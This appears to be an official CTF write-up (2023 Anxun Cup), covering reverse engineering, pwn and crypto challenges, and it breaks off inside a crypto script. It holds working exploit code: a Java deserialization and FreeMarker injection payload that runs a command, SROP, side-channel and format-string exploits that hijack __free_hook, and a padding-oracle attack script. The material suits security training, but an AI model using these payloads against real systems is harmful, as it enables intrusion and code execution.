/read?exp=rO0ABXNyABNqYXZhLnV0aWwuSGFzaHRhYmxlE7sPJSFK5LgDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA%2FQAAAAAAACHcIAAAAAgAAAAJzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAnQABkFhQWFBYXNxAH4AAj9AAAAAAAAMdwgAAAAQAAAAAXNyACRvcmcucG9zdGdyZXNxbC5kcy5QR1NpbXBsZURhdGFTb3VyY2XHvJ7A3bo18QMAAHhwdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQBMmxvY2FsaG9zdC8%2Fbml2aWE9PCNhc3NpZ24gYWM9c3ByaW5nTWFjcm9SZXF1ZXN0Q29udGV4dC53ZWJBcHBsaWNhdGlvbkNvbnRleHQ%2BPCNhc3NpZ24gZmM9YWMuZ2V0QmVhbignZnJlZU1hcmtlckNvbmZpZ3VyYXRpb24nKT48I2Fzc2lnbiBkY3I9ZmMuZ2V0RGVmYXVsdENvbmZpZ3VyYXRpb24oKS5nZXROZXdCdWlsdGluQ2xhc3NSZXNvbHZlcigpPjwjYXNzaWduIFZPSUQ9ZmMuc2V0TmV3QnVpbHRpbkNsYXNzUmVzb2x2ZXIoZGNyKT4keyJmcmVlbWFya2VyLnRlbXBsYXRlLnV0aWxpdHkuRXhlY3V0ZSI%2FbmV3KCkoImNhdCAvZmxhZyIpfXQAAHQBITwjYXNzaWduIGFjPXNwcmluZ01hY3JvUmVxdWVzdENvbnRleHQud2ViQXBwbGljYXRpb25Db250ZXh0PjwjYXNzaWduIGZjPWFjLmdldEJlYW4oJ2ZyZWVNYXJrZXJDb25maWd1cmF0aW9uJyk%2BPCNhc3NpZ24gZGNyPWZjLmdldERlZmF1bHRDb25maWd1cmF0aW9uKCkuZ2V0TmV3QnVpbHRpbkNsYXNzUmVzb2x2ZXIoKT48I2Fzc2lnbiBWT0lEPWZjLnNldE5ld0J1aWx0aW5DbGFzc1Jlc29sdmVyKGRjcik%2BJHsiZnJlZW1hcmtlci50ZW1wbGF0ZS51dGlsaXR5LkV4ZWN1dGUiP25ldygpKCJjYXQgL2ZsYWciKX1wdXIAAltJTbpgJnbqsqUCAAB4cAAAAAEAAAAAc3IAFGphdmEudXRpbC5Qcm9wZXJ0aWVzORLQenA2PpgCAAFMAAhkZWZhdWx0c3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cQB%2BAAA%2FQAAAAAAACHcIAAAACwAAAAN0AAtsb2dnZXJMZXZlbHQABURFQlVHdAAKbG9nZ2VyRmlsZXQAGC9hcHAvdGVtcGxhdGVzL2luZGV4LmZ0bHQADmNvbm5lY3RUaW1lb3V0dAASMTAwMDAwMDAwMDAwMDAwMDAweHB4cHh0AAZCQkFhQkJzcgARamF2YS51dGlsLlRyZWVNYXAMwfY%2BLSVq5gMAAUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHBzcgArb3JnLmFwYWNoZS5jb21tb25zLmJlYW51dGlscy5CZWFuQ29tcGFyYXRvcuOhiOpzIqRIAgACTAAKY29tcGFyYXRvcnEAfgAaTAAIcHJvcGVydHl0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyACpqYXZhLmxhbmcuU3RyaW5nJENhc2VJbnNlbnNpdGl2ZUNvbXBhcmF0b3J3A1x9XFDlzgIAAHhwdAAKY29ubmVjdGlvbncEAAAAAXQABW5pdmlhc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAF4eHNxAH4AIwAAAAJzcQB%2BAAI%2FQAAAAAAADHcIAAAAEAAAAAJxAH4ABHEAfgAbcQB%2BABhxAH4ABXhxAH4AJXg%3D

re

mobilego

通过jadx调试查看check函数的返回值

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

发现只是简单替换
最后是跟字符串cmp进行比较

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

可以通过替换的规律找到原文

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

通过等长的每个字符不同的字符串来找到对应的字符

import string
cmp='49021}5f919038b440139g74b7Dc88330e5d{6'
tmp='vIlDoLjtEpkCmyzfqbshucxwiAagKFBdGHJner'
flag=''
for i in string.ascii_letters[:len(tmp)]:
	flag+=cmp[tmp.find(i)]
print(flag)

牢大想你了

发现有混淆,就从没被混淆的类入手,寻找public未被混淆的类,跟进去

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

发现是TEA加密

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

搓个jio本

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>

// Function to decrypt the data using the provided key
void Decrypt(uint32_t* data, uint32_t* key)
{
    uint32_t v0 = data[0], v1 = data[1];
    uint32_t delta = 0x9e3779b9;
    uint32_t sum = delta * 32;

    for (int i = 0; i < 32; i++)
    {
        v1 -= ((v0 << 4) + key[2]) ^ (v0 + sum) ^ ((v0 >> 5) + key[3]);
        v0 -= ((v1 << 4) + key[0]) ^ (v1 + sum) ^ ((v1 >> 5) + key[1]);
        sum -= delta;
    }

    data[0] = v0;
    data[1] = v1;
}

int main()
{
    uint32_t encryptedData[] = { 0xc873914f, 0x4a628600, 0x20c77a1c, 0x1a877aaa, 0xd6faa982, 0x60d1c964, 0xb9884c32, 0x2a08a862, 0xc74a0036, 0x8f2ee196, 0xef08a6a9, 0xa3850896 };
    uint32_t key[] = { 0x11111111, 0x11111111, 0x11111111, 0x11111111 };

    int dataSize = sizeof(encryptedData) / sizeof(encryptedData[0]);

    // Decrypt the data
    for (int i = 0; i < dataSize; i += 2)
    {
        Decrypt(&encryptedData[i], key);
    }

    // Convert decrypted data to ASCII characters
    int decryptedSize = dataSize * 4 + 1;
    char* decryptedString = (char*)malloc(decryptedSize);
    memset(decryptedString, 0, decryptedSize);
    for (int i = 0; i < dataSize; i++)
    {
        char* bytes = (char*)&encryptedData[i];
        decryptedString[i * 4] = bytes[0];
        decryptedString[i * 4 + 1] = bytes[1];
        decryptedString[i * 4 + 2] = bytes[2];
        decryptedString[i * 4 + 3] = bytes[3];
    }

    // Print the decrypted string
    printf("Decrypted String: %s\n", decryptedString);

    free(decryptedString); // Free the dynamically allocated memory

    return 0;
}

感觉有点简单

考点: 调试技巧(驱动调试)+简答的(rc4+b64)
ps: 默认读者已经会了内核调试,无符号文件的的驱动调试通过IDA静态分析
ps: 感兴趣的可以搜搜无符号驱动文件调试

分析环境

win10 21h2 物理机
windbg(WDK10的)
IDA pro 7.5
虚拟机软件: vm16 pro
被调试的虚拟机: win10 21h2 - 测试模式

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

整体的流程是 读取文件->RC4->base64->校验
于是整体的逆向过程就是
base64解密…利用RC4对称加密
为了保证驱动的正常运行,我们得在目录创建一个文件

C:\\Users\\Public\\flag.txt

然后开始分析…
首先解密base64

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

可以看到,流程还是非常的清晰,
于是解密脚本如下

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <Windows.h>


void indexFind(BYTE* input, BYTE* t, int ilen, int tlen)
{
    int i, j;
    for (i = 0; i < ilen; i++)
    {
        for (j = 0; j < tlen; j++)
        {
            if (input[i] == t[j])
            {
                input[i] = j;
                break;
            }
        }
        if (j == tlen)
        {
            input[i] = 0;
        }
    }
}
BYTE* b64_decode(BYTE* input, BYTE* t64, int ilen, int tlen)//变为3/4
{
    int i, j;
    DWORD dwMem;
    BYTE* dec = malloc(ilen + 16);
    if (dec)
    {
        indexFind(input, t64, ilen, tlen);
        memset(dec, 0, ilen + 16);
        for (i = 0, j = 0; i < ilen; i += 4, j += 3)
        {
            dec[j + 0] = input[i + 0] | ((input[i + 1] & 0b11) << 6);
            dec[j + 1] = (input[i + 1] >> 2) | ((input[i + 2] & 0b1111) << 4);
            dec[j + 2] = (input[i + 2] >> 4) | (input[i + 3] << 2);
            printf("%02X %02X %02X ", dec[j + 0], dec[j + 1], dec[j + 2]);
        }
        return dec;
    }
    else
    {
        exit(-1);
    }
}
int main(int argc, BYTE* argv[])
{
    BYTE t[] = "4KBbSzwWClkZ2gsr1qA+Qu0FtxOm6/iVcJHPY9GNp7EaRoDf8UvIjnL5MydTX3eh";
    BYTE input[] = "6zviISn2McHsa4b108v29tbKMtQQXQHA+2+sTYLlg9v2Q2Pq8SP24Uw=";
    BYTE* enc, * dec;
    dec = b64_decode(input, t, strlen(input), 64);//CMvKCxGa
    return 0;
}
2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

于是得出了

5C 21 7B 33 51 33 38 28 3A 2B 30 40 16 2C 33 25 36 04 38 46 51 3C 25 4A 13 33 39 3B 69 27 4D 29 33 14 33 46 30 31 32 40 6C 00

然后我们去windbg调试驱动,在rc4的call时,打一个断点

在rc4函数调用的时候,替换为我们的加密数值

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp
然后F10运行
2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

flag就被解出来了

你好pe

考点: 调试技巧(寻找关键位子) + CRC64算法 + pe_loader,
ps: 感兴趣的可以学学pe_loader,GitHub有很多源码
基于pe_loader,并在pe_load上做个一些修改,
加载的也不再是一般的exe文件
因为pe_load本身的框架比较的大, 硬分析的话,会比较耽误时间
根据题目的特殊性

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

我们跟踪资源文件,
该资源文件就是最后要运行的魔改pe文件
然后

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

接下来就是很多地方引用了魔改的pe文件

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

单步运行的话,会发现

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

前面a1的引用并没有发生明显的控制台字符串输入输出的变化,
在sub_44ED5C发生了控制台字符串输入输出的变化,

if ( !a3 || sub_44ED5C(a1, 1) )
    return 1;

接着跟进

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

在v3(*a1, a2, 0);进入了魔改pe文件

v3(*a1, a2, 0);
    return 1;

进入后,我们可能仍然比较晕头转向,找不到位置

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

此刻我们应该利用断点

[out]: PLZ Input FLag
[in ]:

在程序运行时引用到了字符串PLZ Input FLag
我们在字符串那里下一个访问的断点

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

在函数eip停下来之后,并没有到达我们想要的区域,
我们需要一步一步的通过F7/F8,ret返回, 注意观察stack中函数的返回地址!!!
通过函数的返回值,我们可以跳过乏味的F7/F8
类似于这种代码

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

不断的返回
最后回到了我们认为比较合理的地方

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

然后形成函数

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

通过分析可得
进入加密函数

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

类似于一个循环冗余的xxx算法
解密如下

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <Windows.h>

void fdec()
{
    __int64 dq_key = 88777897;
    BYTE flag[] = {
        0x4D,0xB8,0x76,0x29,0xF5,0xA9,0x9E,0x59,
        0x55,0x56,0xB1,0xC4,0x2F,0x21,0x2C,0x30,
        0xB3,0x79,0x78,0x17,0xA8,0xED,0xF7,0xDB,
        0xE1,0x53,0xF0,0xDB,0xE9,0x03,0x51,0x5E,
        0x09,0xC1,0x00,0xDF,0xF0,0x96,0xFC,0xC1,
        0xB5,0xE6,0x62,0x95,0x01,0x00,0x00,0x00,
    };
    __int64 p;
    int j, i;
    for (i = 0; i < 6; i++)
    {
        p = *((__int64*)&flag[i * 8]);
        for (j = 0; j < 64; j++)
        {
            if (p & 1) //其实这就是根据某个特征来的
            {
                p = ((unsigned __int64)p ^ dq_key) >> 1;
                p |= 0x8000000000000000;//还原那个符号位1 

            }
            else
            {
                p = (unsigned __int64)p >> 1;
            }
        }
        *((__int64*)&flag[i * 8]) = p;
    }
    for (i = 0; i < 48; i++)
        printf("%c", flag[i]);
    printf("\n");
    return;
}

int main(int argc, BYTE* argv[])
{
    fdec();
    return 0;
}

你见过蓝色的小鲸鱼吗

考点: c++逆向 + 正常的blowfish算法
本题用c++的class 重写了blowfish算法
相比起c语言实现的blowfish算法,会比较复杂冗余
所以分析起来可能比较小难受
首先还是通过IDA插件 findcrypto看看本题涉及什么算法

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

可以发现是blowfish算法
那么我们就继续分析
首先函数定位
WinMain->DialogFunc->sub_457770->sub_4517C4->sub_457840

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

进入 sub_45125B((int)this, username, uLen, (int)password, pLen);// 算法进入

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

于是可以猜测
用户名就是密钥
要加密的数据就是明文密码
于是我们去把对比的密文拿出来

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

11A51F049550E2508F17E16CF1632B47

然后拿到网站测试
http://tool.chacuo.net/cryptblowfish

2023安洵杯校园赛第六届网络安全挑战赛 | 现正式公布本次比赛官方wp

所以flag就是
D0g3{UzBtZTBuZV9EMGczQHRoZWJsdWVmMXNo}

pwn

seccomp

srop + seccomp绕过 + orw +栈迁移
脚本

# -*- coding=utf-8 -*-
#!/usr/bin/env python3
# A script for pwn exp
from pwn import*
context(arch='amd64',os='Linux',log_level='debug')

p=remote('ip',port)
elf = ELF('path/to/elf')

rop = ROP(elf)

#input("[PAUSE]")

#gadgets
mov_rax_0xf = 0x401193
leave_ret = 0x40136c
ret_addr = 0x401016
syscall_addr = rop.find_gadget(['syscall']).address
syscall_ret_addr = 0x401186 #full function

#rsi
data_addr = 0x404000
bss_addr = 0x404060

#init frame
frame_read_1 = SigreturnFrame()
frame_read_1.rax = 0
frame_read_1.rdi = 0
frame_read_1.rsi = data_addr
frame_read_1.rdx = 0x5a
frame_read_1.rsp = 0x404178            #指向payload中邻接的mov_rax_0xf在bss段的地址
frame_read_1.rip = syscall_ret_addr

frame_chmod = SigreturnFrame()
frame_chmod.rax = 0x5a
frame_chmod.rdi = data_addr
frame_chmod.rsi = 7
frame_chmod.rsp = 0x404280            #指向payload中邻接的mov_rax_0xf在bss段的地址
frame_chmod.rip = syscall_ret_addr

frame_open = SigreturnFrame()
frame_open.rax = 0x02
frame_open.rdi = data_addr
frame_open.rsi = constants.O_RDONLY
frame_open.rdx = 0
frame_open.rsp = 0x404388  # 指向payload中邻接的mov_rax_0xf在bss段的地址
frame_open.rip = syscall_ret_addr

#read flag
frame_read_2 = SigreturnFrame()
frame_read_2.rax = 0
frame_read_2.rdi = 3
frame_read_2.rsi = 0x405000
frame_read_2.rdx = 0x20
frame_read_2.rsp = 0x404490            #指向payload中邻接的mov_rax_0xf在bss段的地址
frame_read_2.rip = syscall_ret_addr

frame_write = SigreturnFrame()
frame_write.rax = 0x01
frame_write.rdi = 1
frame_write.rsi = 0x405000
frame_write.rdx = 0x20
frame_write.rip = syscall_addr

#bss
payload1 = p64(ret_addr) + p64(ret_addr)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr) 
payload1 += bytes(frame_read_1) 
payload1 += p64(mov_rax_0xf) + p64(syscall_addr) 
payload1 += bytes(frame_chmod) 
payload1 += p64(mov_rax_0xf) + p64(syscall_addr) 
payload1 += bytes(frame_open)  
payload1 += p64(mov_rax_0xf) + p64(syscall_addr) 
payload1 += bytes(frame_read_2)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_write)


p.recvuntil(b'easyhack\n')
p.send(payload1)

#Stack Migration
payload2 = b'a' * 42 + p64(bss_addr) + p64(leave_ret)
p.recvuntil(b"Do u know what is SUID?\n")
p.send(payload2)
p.send('./flag\x00'.ljust(0x5a,'\x00'))

p.interactive()

side_channel

是seccomp题目的延申,禁用了write等函数,mprotect函数没禁,所以srop里面调用read来往bss段写测信道爆破的shellcode(不是拿shell)

# -*- coding=utf-8 -*-
#!/usr/bin/env python3
# A script for pwn exp
from pwnlib.adb.adb import shell
from pwn import *
import sys
import subprocess
import warnings
import os
import time

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') #彩色打印

context(arch='amd64', os='Linux')
# context.log_level='debug'
binary = '/home/kali/Desktop/srop_seccomp_side/dockerfile/bin/chall'
rop = ROP(binary)

# gadgets
mov_rax_0xf = 0x401193
leave_ret = 0x40136c
ret_addr = 0x401016
syscall_addr = rop.find_gadget(['syscall']).address
syscall_ret_addr = 0x401186  # full function

# rsi
data_addr = 0x404000
bss_addr = 0x404060


def pwn():
    global io
    flag_addr = 0x405000
    string = "0123456789-abcdefghijklmnopqrstuvwxyz"#有需要的话加上大写字母

    list = [ord(x) for x in string]
    flag = ""
    index = 1
    total = 0

    while 1:
        for i in range(0x20):
            io = process(binary)
            #io = remote("",)
            loop_payload = '''
            mov rsp, {}
            mov dl,byte ptr [rsp+{}]
            mov cl,{}
            cmp dl,cl
            jnz $-0xf
            mov al, 0x3c
            syscall
            '''
			 # rsp-> flag_addr
            #diff -> loop -> timeout
            #same -> next_step -> exit(EOF)
            #input("[Pause]")   


            print("index1:" , index)
            loop_payload = asm(loop_payload.format(flag_addr-0x1,index,list[i]))
            

            # init frame
            frame_read_1 = SigreturnFrame()
            frame_read_1.rax = 0
            frame_read_1.rdi = 0
            frame_read_1.rsi = data_addr
            frame_read_1.rdx = 0x5a
            frame_read_1.rsp = 0x404178  # 指向payload中邻接的mov_rax_0xf在bss段的地址.地址可以通过计算frame大小来推断,也可以在gdb中直接查内存
            frame_read_1.rip = syscall_ret_addr

            frame_chmod = SigreturnFrame()
            frame_chmod.rax = 0x5a
            frame_chmod.rdi = data_addr
            frame_chmod.rsi = 7
            frame_chmod.rsp = 0x404280  # 指向payload中邻接的mov_rax_0xf在bss段的地址
            frame_chmod.rip = syscall_ret_addr

            frame_open = SigreturnFrame()
            frame_open.rax = 0x02
            frame_open.rdi = data_addr
            frame_open.rsi = constants.O_RDONLY
            frame_open.rdx = 0
            frame_open.rsp = 0x404388  # 指向payload中邻接的mov_rax_0xf在bss段的地址
            frame_open.rip = syscall_ret_addr

            # read flag
            frame_read_2 = SigreturnFrame()
            frame_read_2.rax = 0
            frame_read_2.rdi = 3
            frame_read_2.rsi = 0x405000
            frame_read_2.rdx = 0x20
            frame_read_2.rsp = 0x404490  # 指向payload中邻接的mov_rax_0xf在bss段的地址
            frame_read_2.rip = syscall_ret_addr

            frame_mprotect = SigreturnFrame()
            frame_mprotect.rax = 0x0a
            frame_mprotect.rdi = 0x404000
            frame_mprotect.rsi = 0x1000
            frame_mprotect.rdx = 7
            frame_mprotect.rsp = 0x404598  # fream_read
            frame_mprotect.rip = syscall_ret_addr

            # read shellcode
            frame_read_3 = SigreturnFrame()
            frame_read_3.rax = 0
            frame_read_3.rdi = 0
            frame_read_3.rsi = 0x404a00  # shellcode_addr
            frame_read_3.rdx = 0x40
            frame_read_3.rsp = 0x404a00
            frame_read_3.rip = syscall_ret_addr

            # bss
            payload1 = p64(ret_addr) + p64(ret_addr)
            payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
            payload1 += bytes(frame_read_1)
            payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
            payload1 += bytes(frame_chmod)
            payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
            payload1 += bytes(frame_open)
            payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
            payload1 += bytes(frame_read_2)
            payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
            payload1 += bytes(frame_mprotect)
            payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
            payload1 += bytes(frame_read_3)

            io.recvuntil(b'easyhack\n')
            io.send(payload1)

            # Stack Migration
            payload2 = b'a' * 42 + p64(bss_addr) + p64(leave_ret)
            io.recvuntil(b"Do u know what is SUID?\n")
            io.send(payload2)

            # 两次read,第一次读取flag,第二次读取shellcode
            io.send('./flag\x00'.ljust(0x5a, '\x00'))
            io.send(p64(ret_addr)+p64(0x404a10)+loop_payload)

            #input("[+] Press Enter to continue...")
            try:
                io.clean()
                io.recv(timeout=0.1)
            except EOFError as e:
                flag += chr(list[i])
                index = index + 1
                print("index2:", index)
                io.clean()
                io.close()
                break
            finally:
                li("flag:  "+str(flag))                        
                io.close()
                
pwn()


my_qq

简单的堆上的格式化字符串,只不过加了个socket连接,只要理解本质上nc连接还是socket连接即可,正常逆向分析代码,然后分析出需要注册和登录然后传递一些参数,最后接受密钥进行一个消息的传输,最后再打个格式化字符串在堆上的利用即可
EXP如下

def send_msg():
    # 要运行的命令
    command = "python3 send_msg.py  127.0.0.1:1000"
    # 使用 subprocess 运行命令
    try:
        result = subprocess.run(command, shell=True, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
        print("Command output:", result.stdout)
    except subprocess.CalledProcessError as e:
        print("Command failed with error:", e)
        print("Error output:", e.stderr)

def rc4_encrypt(key, data):
    cipher = ARC4.new(key)
    encrypted_data = cipher.encrypt(data)
    return encrypted_data

def RSA_sign(message,pem_path):
            # 加载私钥(通常是在签名方)
            with open(pem_path, 'rb') as f:
                private_key = serialization.load_pem_private_key(
                    f.read(),
                    password=None,
                    backend=default_backend()
                )
            digest = hashes.Hash(hashes.SHA256(), backend=default_backend())
            digest.update(message)
            hashed_msg = digest.finalize()

            # Sign with RSA-PSS padding
            signature = private_key.sign(
                hashed_msg,
                padding=padding.PSS(
                    mgf=padding.MGF1(hashes.SHA256()),
                    salt_length=padding.PSS.MAX_LENGTH
                ),
                algorithm=hashes.SHA256()
            )
            # 将字节串转换为十六进制字符串
            signature = ''.join(['%02x' % ord(b) for b in signature])
            print("RSA Signature:", signature)
def extract_public_key_from_private_key(private_key_path):
    with open(private_key_path, "rb") as key_file:
        private_key = serialization.load_pem_private_key(
            key_file.read(),
            password=None,  # 输入私钥的密码,如果有的话
            backend=default_backend()
        )

    public_key = private_key.public_key()

    # 获取公钥的字节串
    public_key_bytes = public_key.public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo
    )

    # 将字节串转换为字符串
    public_key_str = public_key_bytes.decode('utf-8')

    return public_key_str


def send_one_msg(test,key,msg):
    msg = msg.encode('utf-8')
    encode_msg = rc4_encrypt(key,msg)
    # 将字节串转换为十六进制字符串
    hex_string = ''.join(['%02x' % ord(b) for b in encode_msg])

    # 将十六进制字符串按每两个字符分组,添加"."连接
    MSG = ''.join(hex_string[i:i+2].upper() for i in range(0, len(hex_string), 2)).encode('utf-8')
    MSG = (MSG+b'\x00')
    RSA_sign(MSG,'./pem/client/111/rsa_key.pem')
    test.send(MSG)


def exploit():
    li('exploit...')
    qq_server_ip = server_ip
    #qq_server_port =  33367
    qq_server_port =  10000
    qq = remote(qq_server_ip,qq_server_port)
    LOGIN = 1
    if(LOGIN!=1):
        #注册
        message_to_send = "no\x00\x00".encode('utf-8')
        qq.send(message_to_send)
        byte_str1 = "111".encode('utf-8')
        byte_str2 = b'\x00' * 13
        byte_str3 = b'f6e0a1e2ac41945a9aa7ff8a'
        result = byte_str1 + byte_str2 + byte_str3+b'\x00'*(900+47)
        qq.send(result)
        # 接收服务器的响应
        response = qq.recv(1024).decode('utf-8')
        file_path = "./pem/client/111/rsa_key.pem"
        public_key_str = extract_public_key_from_private_key(file_path)
        qq.send((public_key_str).encode('utf-8'))
        # 接收服务器的响应
        response =  qq.recv(1024).decode('utf-8')


    # 要发送的数据登录
    message_to_send = "yes\x00".encode('utf-8')
    qq.send(message_to_send)
    #test.sendall(message_to_send)
    byte_str1 = "111".encode('utf-8')
    byte_str2 = b'\x00' * 13
    byte_str3 = b'f6e0a1e2ac41945a9aa7ff8a'
    result = byte_str1 + byte_str2 + byte_str3+b'\x00'*(900+47)
    qq.send(result)
    # 接收服务器的响应
    response =  qq.recv(1024).decode('utf-8')
    file_path = "./pem/client/111/rsa_key.pem"
    public_key_str = extract_public_key_from_private_key(file_path)
    qq.send((public_key_str).encode('utf-8'))
    # 接收服务器的响应
    response =  qq.recv(1024).decode('utf-8')


    response =  qq.recv(1024).decode('utf-8')
    index_of_00 = response.find("00")
    RC4=b''.decode('utf-8')
    if index_of_00 != -1:
        # 截断数据到第一个 "00" 的位置
        RC4 = response[:index_of_00+2]
        print(RC4)
    key = RC4.decode("hex")
    print(key)
    db()
    payload= "%p %1459$p "
    msg_list = ["111111",payload]
    for msg in msg_list:
        send_one_msg(qq,key,msg)
        ru("The decode  rc4_msg is ")
        msg = ru("\n")
        li("msg --------->  %s"%msg)


    ru("0x")
    stack_flow = int(ru(' '),16)
    libc_base = int(ru(' '),16)-libc.symbols["write"] -100   #0x111234
    ebp = stack_flow +0xC30
    p1 =  ebp-0x30
    p2 = ebp
    p3 = ebp+0x1890
    li("pl=0x%x  --------> p2=0x%x  -----------> p3=0x%x"%(p1,p2,p3))
    li("stack_ebp  addr -----> 0x%x"% ebp) 
    li("libc addr -----> 0x%x"% libc_base) 
    free_hook = libc_base+libc.symbols["__free_hook"]
    system_addr = libc_base+libc.symbols["system"]
    li("free_hook  addr -----> 0x%x"% free_hook) 
    li("system_addr -----> 0x%x"% system_addr) 
    for i in range(0,6):
        x = 5-i
        off = (p3+x)&0xff
        #取最低的一个字节
        print(ru("\n"))
        pl1 = "%"+str(off)+"c%1849$hhn"+'\x00'*50
        send_one_msg(qq,key,pl1)
        ru("The decode  rc4_msg is ")
        msg = ru("\n")
        li("msg --------->  %s"%msg)
        ch = (free_hook>>(x*8))&0xff
        li("ch  ---> 0x%x" % ch)
        pl2 = "%"+str(ch)+"c%1855$hhn"+'\x00'*50
        send_one_msg(qq,key,pl2)

    pl3 =    ('/bin/sh'+'\x00')
    li("input  ---> %s" % pl3)
    send_one_msg(qq,key,pl3)
    qq.close()
def finish():
    ia()
    c()

crypto

010101

将前半部分和后半部分分别异或1进行还原,最后得到p

from Crypto.Util.number import long_to_bytes

N = ***
p = ***
m = ***
p = str(p)
e = 65537
flag = False
print(len(p))
for j in range(len(p)):
    p2 = list(p)
    p2[j] = str(int(p[j]) ^ int('1'))  # 将p的第j位与1进行异或
    for i in range(j + 1, len(p)):  # 从p的第j+1位开始遍历
        p3 = list(p2)
        p3[i] = str(int(p[i]) ^ int('1'))  # 将p2的第i位与1进行异或
        if N % int(''.join(p3), 2) == 0:
            modified_p = int(''.join(p3), 2)
            flag = True
            break
    if flag:
        break
q = N // modified_p
phi = (modified_p - 1) * (q - 1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(m, d, N)))

# D0g3{sYuWzkFk12A1gcWxG9pymFcjJL7CqN4Cq8PAIACObJ}

POA

不断构造IV并发送,接收解密结果,恢复AES CBC解密的中间值,最后与IV进行异或得到

from hashlib import sha256
import itertools
import socket
import string
from Crypto.Util.number import long_to_bytes, bytes_to_long


def proof(broke, Hash):
    assert len(broke) == 16 and len(Hash) == 64
    shaTable = string.ascii_letters + string.digits
    for ii in itertools.permutations(shaTable, 4):
        x = ''.join(ii)
        s = x + broke
        if sha256(s.encode()).hexdigest() == Hash:
            print(x)
            return x


def con():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('124.71.177.14', 10010))
    proof_data = sock.recv(2048)
    send_proof = (proof(proof_data[14:30].decode(), proof_data[32:96].decode())).encode()
    sock.recv(2048)
    sock.send(send_proof)
    data1 = sock.recv(2048)
    print(data1.decode())
    sock.send('1\n'.encode())
    cipher = sock.recv(4096).decode().split(' ')[-1]
    print(cipher)
    guess_iv = [0 for _ in range(16)]
    restore_midd = [0 for _ in range(16)]
    index = 1

    for i in range(15, -1, -1):
        for j in range(0, 256):
            sock.send('2'.encode())
            txt = sock.recv(4096).decode()
            guess_iv[i] = j
            mess = bytes(guess_iv).hex() + cipher[32:]
            sock.send(('%s\n' % mess).encode())
            result = sock.recv(4096).strip().decode()
            if result == 'True':
                print('find')
                restore_midd[i] = index ^ j
                for k in range(15, i - 1, -1):
                    guess_iv[k] = restore_midd[k] ^ (index + 1)
                break
        index += 1

    m = bytes_to_long(bytes(restore_midd)) ^ int(cipher[:32], 16)
    print(long_to_bytes(m))


if __name__ == '__main__':
    con()

Rabin

解方程恢复e1, e2
解RSA+RSA Rabin

from Crypto.Util.number import isPrime, long_to_bytes
from decimal import Decimal, getcontext
from sympy import *
import itertools
import gmpy2
getcontext().prec = 4096  # To get all digits


def quadratic(b, c):
    b, c = Decimal(b), Decimal(c)
    disc = b ** 2 - 4 * c
    return (-b + disc.sqrt()) / 2, (-b - disc.sqrt()) / 2


